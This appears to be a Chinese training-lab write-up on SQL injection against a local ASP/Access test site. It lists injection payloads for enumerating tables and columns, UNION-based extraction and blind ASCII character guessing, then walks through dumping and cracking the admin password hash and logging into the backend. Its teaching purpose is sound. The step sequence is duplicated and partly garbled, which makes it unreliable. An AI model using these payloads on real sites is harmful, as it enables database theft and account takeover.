H003002007-基于access的网站搭建和SQL注入实验
一. 实验目的
1.了解常用web 脚本
2.了解常用web 脚本漏洞的利用点
二. 实验原理
猜解表名:
SQL SERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中, 数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype(数据表的类型 u为用户表),id( 数据表的对象标志)。 and (select top 1 name from sysobjects where xtype='u')>0 (得到第一个表名:比如user) and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0 得到第二个表名,后面的以此类推。 猜解列名:
用到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin在sysobjects 中的标识号,column_id=1,2,3表明admin的第1,2,3列。 and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【得到admin字段的第一个列名“username”依次类推,得到“password”“id”等等】 猜解字段内容:
and (select top 1 username from [admin])>0 【直接得到用户名】 and (select top 1 password from [admin])>0 【直接得到密码】 union联合查询: select name,password,id from user union select user,pwd,uid from 表名 and 1=1 union select 1,2,3,4,5... from 表名 (数值从1开始慢慢加,如果加到5返回正常,那就存在5个字段) ASCII逐字解码法:
(1)猜解列长度 and (select top 1 len(列名)from 表名)>N 其中N是数字,变换这个N的值猜解列长度,当N为6正确,为7错误,则长度为7 猜解第二条记录就该使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名) (2)猜解用户和密码 ASC()函数和Mid函数,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII码 猜解语句为:and (select top 1 asc(mid(字段,1,1)) from 数据库名)>ASCII码 区间判断语句:....between......and...... 中文处理法:当ASCII转换后为“负数”使用abs()函数取绝对值。 例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码 (3)ASCII逐字解码法的应用: 1、猜解表名:and (select count() from admin)<>0 2、猜解列名:and (select count(列名) from 表名)<>0 3、猜解用户个数:and (select count() from 表名)>1,2.. 2正常,3错误,表中有3条记录。 4、猜解用户名的长度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。 5、猜解用户名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0 最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值 6、猜解管理员的密码: 按照上面的原理,把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到密码了。
三. 实验内容
1.掌握Web脚本利用
2.掌握Web漏洞利用点
3.掌握SQL注入工具的使用
四. 实验环境描述
1、学生机与实验室网络直连;
2、VPC与实验室网络直连;
3、学生机与VPC物理链路连通;
pc机:windows7旗舰版 ip:172.16.1.156
五. 实验步骤
注:实验中所有ip(如:172.17.135. 或 110.10.10.)均要根据实际网络情况而改变,所用工具windows版的均在D:/tools中,linux版的均在 桌面 上。
一、 单击实验环境,单击实验环境,点击打开控制以启动网络拓扑中的电脑(即虚拟机)
二、 win7默认用户名:admin,密码:123456
三、步骤1:打开aspweb服务器,在ie(推荐用桌面的foxfire浏览器来完成本次实验,IE可能显示不全网页)浏览器,输入http://192.168.1.149:99(由本地虚拟机IP地址而定,若不想查看ip用浏览器输入127.0.0.1:99也能打开本网站)如图:
![](https://img2020.cnblogs.com/blog/1555544/202012/1555544-20201202092237412-207503856.png)
步骤2:下面开始查找sql注入点,我们随便点击一下如下链接。
![](https://img2020.cnblogs.com/blog/1555544/202012/1555544-20201202092334554-879346341.png)
步骤3:从下图的地址栏,我们看见有一个是id=171,然后我们测试它是不是注入点。在地址栏后面加上1=1以及加上1=2. 输入http://127.0.0.1:99/shownews.asp?id=171 and 1=1
![](https://img2020.cnblogs.com/blog/1555544/202012/1555544-20201202092414735-218815466.png)
步骤4:输入:http://127.0.0.1/shownews.asp?id=171 and 1=2
![](https://img2020.cnblogs.com/blog/1555544/202012/1555544-20201202092453020-507315539.png)
步骤5:下面我们来猜测表中的字段,这里我们猜测username及password。(不报错说明我们没有猜错)
http://127.0.0.1:99/shownews.asp?id=171 and (select count(username) admin)>0
http://127.0.0.1:99/shownews.asp?id=171 and (select count(password) admin)>0
步骤6:下面我们来猜测username和password。首先访问http://127.0.0.1:99/shownews.asp?id=171%20union%20select%201,2,3,4,5,6,7,8,9,10%20from%20admin 如图:
![](https://img2020.cnblogs.com/blog/1555544/202012/1555544-20201202092529441-963272186.png)
步骤7:我们将上面的2换成username,即http://127.0.0.1:99/shownews.asp?id=171%20union%20select%201,username,3,4,5,6,7,8,9,10%20from%20admin 则就可以猜测出密码admin。
![](https://img2020.cnblogs.com/blog/1555544/202012/1555544-20201202092844246-655582272.png)
步骤9:本地主机访问使用md5在线破解,因为没连网所以访问不了cmd5网站,这里破解出的密码为admin。如图:
![](https://img2020.cnblogs.com/blog/1555544/202012/1555544-20201202092857105-1558877099.png)
步骤10:我们打开后台登陆页面。如图:
![](https://img2020.cnblogs.com/blog/1555544/202012/1555544-20201202092905658-608920032.png)
步骤11:然后我们输入刚刚破解的用户名和密码来登录。点击“确定”如图:
http://127.0.0.1:99/shownews.asp?id=171 and (select count(username) admin)>0
http://127.0.0.1:99/shownews.asp?id=171 and (select count(password) admin)>0
步骤6:下面我们来猜测username和password。首先访问http://127.0.0.1:99/shownews.asp?id=171%20union%20select%201,2,3,4,5,6,7,8,9,10%20from%20admin 如图:
![](https://img2020.cnblogs.com/blog/1555544/202012/1555544-20201202092529441-963272186.png)
步骤7:我们将上面的2换成username,即http://127.0.0.1:99/shownews.asp?id=171%20union%20select%201,username,3,4,5,6,7,8,9,10%20from%20admin 则就可以猜测出密码admin。
步骤8:我们将3换成password,即http://127.0.0.1:99/shownews.asp?id=171%20union%20select%201,2,password,4,5,6,7,8,9,10%20from%20admin 获得如下密码(密码是加密的,需要使用hash pojieqi破解)
![](https://img2020.cnblogs.com/blog/1555544/202012/1555544-20201202092844246-655582272.png)
步骤9:本地主机访问使用md5在线破解,因为没连网所以访问不了cmd5网站,这里破解出的密码为admin。如图:
![](https://img2020.cnblogs.com/blog/1555544/202012/1555544-20201202092857105-1558877099.png)
步骤10:我们打开后台登陆页面。如图:
![](https://img2020.cnblogs.com/blog/1555544/202012/1555544-20201202092905658-608920032.png)
步骤11:然后我们输入刚刚破解的用户名和密码来登录。点击“确定”如图:
![](https://img2020.cnblogs.com/blog/1555544/202012/1555544-20201202092921758-554287526.png)